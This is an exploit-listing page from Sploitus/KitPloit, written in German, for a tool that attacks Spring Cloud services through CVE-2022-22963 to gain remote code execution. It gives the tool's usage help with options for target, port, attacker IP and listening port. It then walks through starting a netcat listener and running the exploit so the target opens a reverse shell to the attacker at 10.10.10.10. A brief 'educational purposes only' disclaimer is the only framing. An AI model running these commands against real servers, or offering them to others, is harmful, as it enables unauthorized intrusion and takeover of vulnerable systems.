Sploitus

Exploit for CVE-2022-22963

kitploit · 2026-08-26

Exploit Code

MARKDOWN34 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GUNZF0X-CVE-2022-22963
# CVE-2022-22963

Remote Code Execution, die CVE-2022-22963 ausnutzt und Spring Cloud-Dienste angreift.

**Haftungsausschluss: Dies dient nur zu Bildungszwecken. Der Autor ist nicht verantwortlich für die Nutzung dieses Programms. Nutzung auf eigenes Risiko.**

## Verwendung

root@kitploit:~
    
    
    ./CVE-2022-22963 -h
    
    
    Usage:
      CVE-2022-22963 [OPTIONS]
    
    Application Options:
      -u, --target-url=     Target/Host url where 'Spring Cloud' is running. Example: -t http://somesite.htb
      -p, --target-port=    Port running the service. Example: -p 8080
      -i, --attacker-ip=    Attacker IPv4 Address. Example: -i 10.10.10.10
      -l, --listening-port= Listening port to connect. Example: -l 1337
    
    Help Options:
      -h, --help            Show this help message
    

Angenommen, ein möglicherweise verwundbares Ziel läuft unter `http://somerandomserver.com:8080`. Starte `nc` und lausche auf Port `1337`, also führen wir `nc -lvnp 1337` aus. Führe dann das Skript/den Exploit aus:

root@kitploit:~
    
    
    ./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337